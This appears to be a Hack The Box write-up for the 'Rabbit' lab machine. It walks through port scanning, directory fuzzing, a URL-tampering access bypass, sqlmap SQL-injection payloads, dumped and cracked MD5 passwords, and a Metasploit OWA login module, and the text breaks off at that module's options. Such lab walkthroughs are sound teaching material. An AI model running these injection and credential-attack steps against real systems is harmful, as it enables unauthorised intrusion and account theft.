HTB Rabbit CTF Writeup
HTB Rabbit CTF is an "Insane" difficulty Windows machine on Hack The Box.
Challenge Summary
Picture the warren from Watership Down – that’s Rabbit. We start nose‑twitching with a broad Nmap sweep and sniff out an ancient on‑prem Exchange, dusty Joomla, and a rickety “Complain Management” CMS. A single SQL‑i in that CMS snowballs into domain creds, which in turn pry open Outlook Web Access. A cheeky macro‑laced TPS report nets us a foothold as raziel, and sloppy file‑permissions on Wamp’s PHP directory let us upload a web‑shell and pop NT AUTHORITY\SYSTEM. One tunnel of rabbit‑holes later, the box is ours.
flowchart TD
A["Nmap Scan - Found ports 80, 443, 8080, 25, 88, 389"] --> B["Web Enumeration on Ports 80 and 8080"]
B --> C["Discovered /owa, Joomla CMS, and Complain Portal"]
C --> D["SQL Injection on Complain Portal"]
D --> E["Dumped Users Table with MD5 Hashes"]
E --> F["Cracked Passwords with Hashcat"]
F --> G["Logged into OWA as Magnus"]
G --> H["Read Emails Hinting at Macro Attack & Constrained Language Mode"]
H --> I["Crafted Malicious LibreOffice Document with Macro"]
I --> J["Sent Macro Doc to Users - Got Shell as raziel"]
J --> K["Discovered Writable Directory: C:\\wamp64\\www\\complain"]
K --> L["Uploaded PHP Web Shell"]
L --> M["Executed Commands as Wamp Service (Running as SYSTEM)"]
M --> N["Privilege Escalation Achieved - NT AUTHORITY\\SYSTEM"]
N --> O["Box Owned"]
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# Nmap 7.93 scan initiated Thu May 1 21:14:46 2025 as: nmap -A -oA scans/nmap.initial -vv 10.10.10.71
Nmap scan report for 10.10.10.71
Host is up, received syn-ack (0.16s latency).
Scanned at 2025-05-01 21:14:47 BST for 200s
Not shown: 976 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft Exchange smtpd
| smtp-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: RABBIT
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: Rabbit.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
| smtp-commands: Rabbit.htb.local Hello [10.10.14.5], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, XRDST, XSHADOW
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
53/tcp open domain syn-ack Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
80/tcp open http syn-ack Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 403 - Forbidden: Access is denied.
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-05-01 20:15:21Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
443/tcp open ssl/https? syn-ack
| ssl-cert: Subject: commonName=Rabbit
| Subject Alternative Name: DNS:Rabbit, DNS:Rabbit.htb.local
| Issuer: commonName=Rabbit
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-10-24T17:56:42
| Not valid after: 2022-10-24T17:56:42
| MD5: 8ec5baee0dd52ffa102a26b0b23e53c7
| SHA-1: 9583dc5b45ead4e4f8350c9dbf255a7685728098
| -----BEGIN CERTIFICATE-----
| MIIDBjCCAe6gAwIBAgIQfdxbKHvkMrNAXVZWGkFRcjANBgkqhkiG9w0BAQUFADAR
| MQ8wDQYDVQQDEwZSYWJiaXQwHhcNMTcxMDI0MTc1NjQyWhcNMjIxMDI0MTc1NjQy
| WjARMQ8wDQYDVQQDEwZSYWJiaXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
| AoIBAQDxcKjPOPnpanhxeW1pQd7yvJ0xZkAcIhOvrk1hNtDEM2aiR8H0xGOBUOgm
| +6xOLKpZ7rv9y+mFIyqXiCEjqxIVud67AhURw8ROQfoEH7bli85lFbFNqZrkwD+9
| ydHuvejG+AIjwM6RsMNwT2rPjYkROxfxaXoTdrLBjWgbWzXVoHJcNSZ8XfiX80RN
| ViaUQghG5R0aZLpetqPpEJ9FST7wSPP/8BuKR72Lfnp1WUJmQ/5tOky/9XUUtwZj
| 2pY6PTJT/PMTBz5DFdWZmkLGaLlmHqny5WNdcCtEsp8TZ2J1W4eB6py6097p/htS
| n8pJahOoUQ0H665gBxE2UHtx6N11AgMBAAGjWjBYMA4GA1UdDwEB/wQEAwIFoDAj
| BgNVHREEHDAaggZSYWJiaXSCEFJhYmJpdC5odGIubG9jYWwwEwYDVR0lBAwwCgYI
| KwYBBQUHAwEwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOCAQEAVraNhO76
| Ov0xCmKAhI5rpKABrtyCUsVZRd+XAp39T6kgx1dEEDu8kzgRtH9W27n3RpFYfm0t
| WnexaKApkaP43fasbkFnJpyjCrxvs8/AQqjAIhqOaepU0rvbStsNUhTfEDT2E59q
| 3hWNMJB5HuhujfWqs4MM69wx/ZGp9GRfxJJ4iqOK6FFkvYR0MzRy7KbWznL7VVUp
| MWo1OzyFa6RNGN3ccnNrVtyEWPoz2/sIXutek3d7r4ETIDobwKdRxGm5cbyP89Eh
| eGHj3zpv4U9U3k1dmra7eGckMhHA1Fiw1fvGlCcaFlv7JnYBnYtxARAaDvDLgo0i
| zHsYoKFJPxHydw==
|_-----END CERTIFICATE-----
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ssl-date: 2025-05-01T20:17:32+00:00; 0s from scanner time.
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
587/tcp open smtp syn-ack Microsoft Exchange smtpd
| smtp-commands: Rabbit.htb.local Hello [10.10.14.5], SIZE 10485760, PIPELINING, DSN, ENHANCEDSTATUSCODES, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: RABBIT
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: Rabbit.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
808/tcp open ccproxy-http? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3306/tcp open mysql syn-ack MySQL 5.7.19
| mysql-info:
| Protocol: 10
| Version: 5.7.19
| Thread ID: 10
| Capabilities flags: 63487
| Some Capabilities: ConnectWithDatabase, Support41Auth, Speaks41ProtocolOld, LongColumnFlag, FoundRows, LongPassword, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, ODBCClient, SupportsLoadDataLocal, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: \x04H-.)\x15{l:Y|\x1F\x06VVH\x15&i.
|_ Auth Plugin Name: mysql_native_password
6001/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
6002/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
6003/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
6004/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
6005/tcp open msrpc syn-ack Microsoft Windows RPC
6006/tcp open msrpc syn-ack Microsoft Windows RPC
6007/tcp open msrpc syn-ack Microsoft Windows RPC
8080/tcp open http syn-ack Apache httpd 2.4.27 ((Win64) PHP/5.6.31)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.27 (Win64) PHP/5.6.31
|_http-title: Example
|_http-favicon: Unknown favicon MD5: 79E32EEA338FA735AD22D36104C4337A
Service Info: Hosts: Rabbit.htb.local, RABBIT; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 44939/tcp): CLEAN (Couldn't connect)
| Check 2 (port 54161/tcp): CLEAN (Couldn't connect)
| Check 3 (port 9273/udp): CLEAN (Timeout)
| Check 4 (port 23183/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 1 21:18:07 2025 -- 1 IP address (1 host up) scanned in 201.09 seconds
Web Server Enumeration
Summary
Directory busting on port 80 teased an /owa path but IIS slapped us with 403s and a crusty self‑signed cert. Sliding over to port 8080 we hit pay‑dirt: an out‑of‑date Joomla install and a vulnerable “Complain Management” portal. Those discoveries set up the SQL‑i that cracks the whole hunt wide open.
Details
I began bruteforcing for directories on all web servers (port 80 and 8080), and port 80 returned me something interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://10.10.10.71:80/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -t 10 | tee scans/web-80-wfuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://10.10.10.71:80/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 10
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
owa [Status: 301, Size: 0, Words: 1, Lines: 1]
[WARN] Caught keyboard interrupt (Ctrl-C)
When I tried accessing it, I got 403 access denied:
Fig 1: 403 Forbidden error when accessing the HTTP
/owa
endpoint
However, this is the HTTP (not S) server. The HTTPS server works, but it seems like they have a SSL certificate with very old ciphers:
Fig 2: Legacy TLS handshake failure on the HTTPS
/owa
site
Curl throws the same tantrum, choking on the legacy TLS config:
1
2
$ curl https://10.10.10.71/owa/ -k
curl: (35) OpenSSL/3.0.15: error:0A00014D:SSL routines::legacy sigalg disallowed or unsupported
I can access it if I disable the minimum encryption requirements tho:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl --cipher 'DEFAULT:@SECLEVEL=0' -k -vvv https://10.10.10.71/owa/
* Trying 10.10.10.71:443...
* Connected to 10.10.10.71 (10.10.10.71) port 443 (#0)
* ALPN: offers h2,http/1.1
* Cipher selection: DEFAULT:@SECLEVEL=0
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.0 (IN), TLS handshake, Certificate (11):
* TLSv1.0 (IN), TLS handshake, Server key exchange (12):
* TLSv1.0 (IN), TLS handshake, Server finished (14):
* TLSv1.0 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.0 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.0 (OUT), TLS handshake, Finished (20):
* TLSv1.0 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1 / ECDHE-RSA-AES256-SHA
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=Rabbit
* start date: Oct 24 17:56:42 2017 GMT
* expire date: Oct 24 17:56:42 2022 GMT
* issuer: CN=Rabbit
* SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/1.x
> GET /owa/ HTTP/1.1
> Host: 10.10.10.71
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Content-Length: 0
< Location: https://10.10.10.71/owa/auth/logon.aspx?url=https://10.10.10.71/owa/&reason=0
< Set-Cookie: sessionid=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
< Set-Cookie: cadata=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
< Date: Mon, 28 Apr 2025 19:09:12 GMT
<
* Connection #0 to host 10.10.10.71 left intact
I can also access the site in my firefox browser, but I need to proxy the traffic through BurpSuite first. It handles these types of bad SSL certificates, allowing me to access the HTTPs site:
Fig 3: Burp‑proxied Firefox showing the OWA login page with a self‑signed cert
Nothing much to do here right now, as I have not a single pair of credentials. So, I proceeded to enumerate the web server on port 8080:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -u http://10.10.10.71:8080/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt -t 10 | tee scans/web-8080-wfuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://10.10.10.71:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 10
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
index [Status: 200, Size: 10065, Words: 1239, Lines: 107]
. [Status: 200, Size: 10065, Words: 1239, Lines: 107]
favicon [Status: 200, Size: 199130, Words: 323, Lines: 345]
joomla [Status: 301, Size: 328, Words: 21, Lines: 10]
<SNIP>
complain [Status: 301, Size: 330, Words: 21, Lines: 10]
<SNIP>
:: Progress: [38267/38267] :: Job [1/1] :: 100 req/sec :: Duration: [0:06:21] :: Errors: 0 ::
There is indeed a Joomla instance on 10.10.10.71:8080/joomla:
Fig 4: Joomla CMS default homepage at
:8080/joomla
And we also see Complain Management System on port 8080/complain:
Fig 5: Complain Management System landing page at
:8080/complain
First thing I did when I saw this, was to look for publicly available exploits for this software, as its interface looks old and cranky. I found some promising trails:
Fig 6: Exploit‑DB search results listing a SQL injection exploit for the Complain portal
The first one, not so much, but the second one, about the SQL injection, seems promising (snippet from the exploit):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
## About The Product : ##
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.
## Vulnerability : ##
The functions.php file line 88 has hardcoded admin credentials.
elseif($uType == 'admin'){
//$_SESSION['user_id'] = $row['sid'];
if($userName == 'admin' && $password == 'admin123'){
$_SESSION['user_id'] = 0;
$_SESSION['user_name'] = 'Administrator';
$_SESSION['user_type'] = 'admin';
header('Location: '.WEB_ROOT.'index.php');
exit;
Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.
-HTTP Method : GET
- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"
I tried logging in using the credentials described in the exploit (admin:admin123
) but it didn’t work, so I proceeded to creating an account, and maybe I can access the administrative endpoint they’re talking about in the exploit.
I can head to http://10.10.10.71:8080/complain/register.php and create an account:
Fig 7: Complain portal user registration form
And log in using the newly created account:
Fig 8: Login page after creating a new “customer” account
The dashboard has nothing much to it, I can’t create complains because it errors out. I logged out, and tried changing the ‘User Type’ field to ‘Administrator’:
Fig 9: Error message when trying to register as “admin” via the form
However, it errors out. When registering a new account, there is a “user type” field, but it only contains one option, that being “Customer”. However, what if we change this value in BurpSuite before forwarding the request? Can we create an account with administrative privileges for ourselves?
That’s exactly what I tried, intercepting the request in burpsuite, and changing the “utype” value from “customer” to “admin”:
Fig 10: Burp Suite intercept modifying the
utype
parameter to admin
But, when I try to log in as user type “administrator”, it errors out. I tried changing the value from the default “customer” to “employee” as well, but it didn’t work.
Feeling like I was running out of options, I logged in again with my initial account, with no modifications to the role, and poked around the website, to find that I can simply click on the “View Complain Details” tab and modify the url at the top to include the administrative view:
Fig 11: URL tampering changing
mod=customer
to mod=admin
on view**:php
The URL they give me initially is:
1
http://10.10.10.71:8080/complain/view.php?mod=customer&view=compDetails
However, if I change the value of the mod
attribute from “customer” to “admin”, I can view this page as if I’m the admin user:
1
http://10.10.10.71:8080/complain/view.php?mod=admin&view=compDetails
And it simply works, LOL! That’s a banger of an access control vulnerability right there
Fig 12: Admin‑view complaint details rendered without authentication
I can also review specific complains as if I’m the admin user:
Fig 13: Detailed complaint view for a specific complaint ID as admin
When I clicked to assign the complain, the request looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /complain/process.php?action=assignComplain HTTP/1.1
Host: 10.10.10.71:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://10.10.10.71:8080
Connection: keep-alive
Referer: http://10.10.10.71:8080/complain/view.php?mod=admin&view=viewByCompID&compId=10
Cookie: 8e3390591191591f0578d77b26fb406e=jlf4iehq3v5106loft5af2q0t2; PHPSESSID=51e911iqljvdt5hvhppeu0qc74
Upgrade-Insecure-Requests: 1
Priority: u=0, i
compId=10&compDesc=&engId=4&btnLogin=+Assing+Complain+
I right-clicked, and selected “Save item” in Burpsuite, and saved it as “assign-complain.req”. Then, I fired up sqlmap using the request file, pointing to the compId POST attribute, to find the sql injection vulnerability:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -t 15
___
__H__
___ ___[.]_____ ___ ___ {1.9.4.2#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[*] starting @ 13:29:01 /2025-04-28/
<SNIP>
POST parameter 'compId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: compId (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: compId=(SELECT (CASE WHEN (6113=6113) THEN 10 ELSE (SELECT 4749 UNION SELECT 2010) END))&compDesc=&engId=4&btnLogin= Assing Complain
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: compId=10 AND GTID_SUBSET(CONCAT(0x717a717071,(SELECT (ELT(7941=7941,1))),0x7171786271),7941)&compDesc=&engId=4&btnLogin= Assing Complain
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: compId=10 AND (SELECT 6352 FROM (SELECT(SLEEP(5)))Rdrf)&compDesc=&engId=4&btnLogin= Assing Complain
---
[13:30:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.27, PHP 5.6.31
back-end DBMS: MySQL >= 5.6
[13:30:09] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'
[*] ending @ 13:30:09 /2025-04-28/
SQL Injection Vulnerability
After discovering the sql injection flaw, I proceeded to enumerate the instance by listing available databases:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql --dbs -t 15
<SNIP>
available databases [7]:
[*] complain
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] secret
[*] sys
[13:31:17] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'
[*] ending @ 13:31:17 /2025-04-28/
Interestingly enough, there is a database named “secret”. Let’s investigate it by obtaining a list of tables in the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -D secret --tables -t 15
<SNIP>
[13:33:05] [INFO] fetching tables for database: 'secret'
[13:33:06] [INFO] retrieved: 'users'
Database: secret
[1 table]
+-------+
| users |
+-------+
[13:33:06] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'
[*] ending @ 13:33:06 /2025-04-28/
Hmmm, users table. Let’s dump it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ sqlmap.py -r assign-complain.req -p compId --dbms mysql -D secret -T users --dump -t 15
[13:34:20] [INFO] fetching columns for table 'users' in database 'secret'
[13:34:20] [INFO] retrieved: 'Username'
[13:34:20] [INFO] retrieved: 'text'
[13:34:21] [INFO] retrieved: 'Password'
[13:34:21] [INFO] retrieved: 'text'
[13:34:21] [INFO] fetching entries for table 'users' in database 'secret'
[13:34:21] [INFO] retrieved: '13fa8abd10eed98d89fd6fc678afaf94'
[13:34:21] [INFO] retrieved: 'Zephon'
[13:34:21] [INFO] retrieved: '33903fbcc0b1046a09edfaa0a65e8f8c'
[13:34:22] [INFO] retrieved: 'Kain'
[13:34:22] [INFO] retrieved: '33da7a40473c1637f1a2e142f4925194'
[13:34:22] [INFO] retrieved: 'Dumah'
[13:34:22] [INFO] retrieved: '370fc3559c9f0bff80543f2e1151c537'
[13:34:22] [INFO] retrieved: 'Magnus'
[13:34:22] [INFO] retrieved: '719da165a626b4cf23b626896c213b84'
[13:34:22] [INFO] retrieved: 'Raziel'
[13:34:23] [INFO] retrieved: 'a6f30815a43f38ec6de95b9a9d74da37'
[13:34:23] [INFO] retrieved: 'Moebius'
[13:34:23] [INFO] retrieved: 'b9c2538d92362e0e18e52d0ee9ca0c6f'
[13:34:23] [INFO] retrieved: 'Ariel'
[13:34:23] [INFO] retrieved: 'd322dc36451587ea2994c84c9d9717a1'
[13:34:23] [INFO] retrieved: 'Turel'
[13:34:23] [INFO] retrieved: 'd459f76a5eeeed0eca8ab4476c144ac4'
[13:34:23] [INFO] retrieved: 'Dimitri'
[13:34:24] [INFO] retrieved: 'dea56e47f1c62c30b83b70eb281a6c39'
[13:34:24] [INFO] retrieved: 'Malek'
[13:34:24] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[13:35:25] [INFO] writing hashes to a temporary file '/tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: secret
Table: users
[10 entries]
+----------------------------------+----------+
| Password | Username |
+----------------------------------+----------+
| 13fa8abd10eed98d89fd6fc678afaf94 | Zephon |
| 33903fbcc0b1046a09edfaa0a65e8f8c | Kain |
| 33da7a40473c1637f1a2e142f4925194 | Dumah |
| 370fc3559c9f0bff80543f2e1151c537 | Magnus |
| 719da165a626b4cf23b626896c213b84 | Raziel |
| a6f30815a43f38ec6de95b9a9d74da37 | Moebius |
| b9c2538d92362e0e18e52d0ee9ca0c6f | Ariel |
| d322dc36451587ea2994c84c9d9717a1 | Turel |
| d459f76a5eeeed0eca8ab4476c144ac4 | Dimitri |
| dea56e47f1c62c30b83b70eb281a6c39 | Malek |
+----------------------------------+----------+
[13:34:32] [INFO] table 'secret.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/10.10.10.71/dump/secret/users.csv'
[13:34:32] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/10.10.10.71'
[*] ending @ 13:34:32 /2025-04-28/
Sweet. Username:password combinations it seems like. From the above output, you can see that sqlmap asked me if I wanted to save the hashes to a temporary file, which I replied “yes”. In this case, they saved the hashes to a temporary file at:
1
/tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt
If I display this file’s contents:
1
2
3
4
5
6
7
8
9
10
11
$ cat /tmp/sqlmapv0tcweux8191/sqlmaphashes-8j1hsq_9.txt
Zephon:13fa8abd10eed98d89fd6fc678afaf94
Kain:33903fbcc0b1046a09edfaa0a65e8f8c
Dumah:33da7a40473c1637f1a2e142f4925194
Magnus:370fc3559c9f0bff80543f2e1151c537
Raziel:719da165a626b4cf23b626896c213b84
Moebius:a6f30815a43f38ec6de95b9a9d74da37
Ariel:b9c2538d92362e0e18e52d0ee9ca0c6f
Turel:d322dc36451587ea2994c84c9d9717a1
Dimitri:d459f76a5eeeed0eca8ab4476c144ac4
Malek:dea56e47f1c62c30b83b70eb281a6c39
Password Hash Cracking
Summary
Dumping the secret.users table gave us a bag of unsalted MD5s – yikes. Hashcat plus rockyou.txt chewed through half of them in seconds, arming us with creds like magnus:xNnWo6272k7x
and ariel:pussycatdolls
. These become our golden tickets for the upcoming OWA raid.
Details
I ran hashcat against the hashes file obtained previously, and was able to crack a few passwords (note the little --useranme
flag when running hashcat, that’s because the username is also present in the hases file in the format username
:md5_hash
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ hashcat hashes.txt /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt --username -m 0
hashcat (v6.2.6) starting
<SNIP>
8ec6de95b9a9d74da37:santiago
33da7a40473c1637f1a2e142f4925194:popcorn
b9c2538d92362e0e18e52d0ee9ca0c6f:pussycatdolls
370fc3559c9f0bff80543f2e1151c537:xNnWo6272k7x
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Apr 28 13:38:59 2025 (7 secs)
Time.Estimated...: Mon Apr 28 13:39:06 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2127.5 kH/s (0.11ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 5/10 (50.00%) Digests (total), 5/10 (50.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2121464c5965727332303037] -> $HEX[042a0337c2a156616d6f732103]
Started: Mon Apr 28 13:38:38 2025
Stopped: Mon Apr 28 13:39:08 2025
Then, I can show the cracked hashes and the respective username for each of them:
1
2
3
4
5
6
$ hashcat hashes.txt --username --show -m 0
Dumah:33da7a40473c1637f1a2e142f4925194:popcorn
Magnus:370fc3559c9f0bff80543f2e1151c537:xNnWo6272k7x
Moebius:a6f30815a43f38ec6de95b9a9d74da37:santiago
Ariel:b9c2538d92362e0e18e52d0ee9ca0c6f:pussycatdolls
Malek:dea56e47f1c62c30b83b70eb281a6c39:barcelona
Accessing Webmail
Summary
Using the freshly‑minted creds, we logged into /owa over TLS 1.0 (retro vibes). The inbox chatter practically begged us to weaponise LibreOffice macros, hinting at Constrained Language Mode and the infamous TPS reports. Those emails provided both target list and social‑engineering pretext – chef’s kiss.
Details
With some valid credentials, I can try to access the previously discovered outlook webmail portal at https://10.10.10.71/owa.
I did run msfconsole and searched for “owa”. Among the results, I selected a login detector, and could use the module to discover valid credentials to the webmail:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
msf6 auxiliary(scanner/http/owa_ews_login) > options
Module options (auxiliary/scanner/http/owa_ews_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AD_DOMAIN no The Active Directory domain name
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
AUTODISCOVER true no Automatically discover domain URI
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current da
tabase
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current databa
se (Accepted: none, user, user&realm)
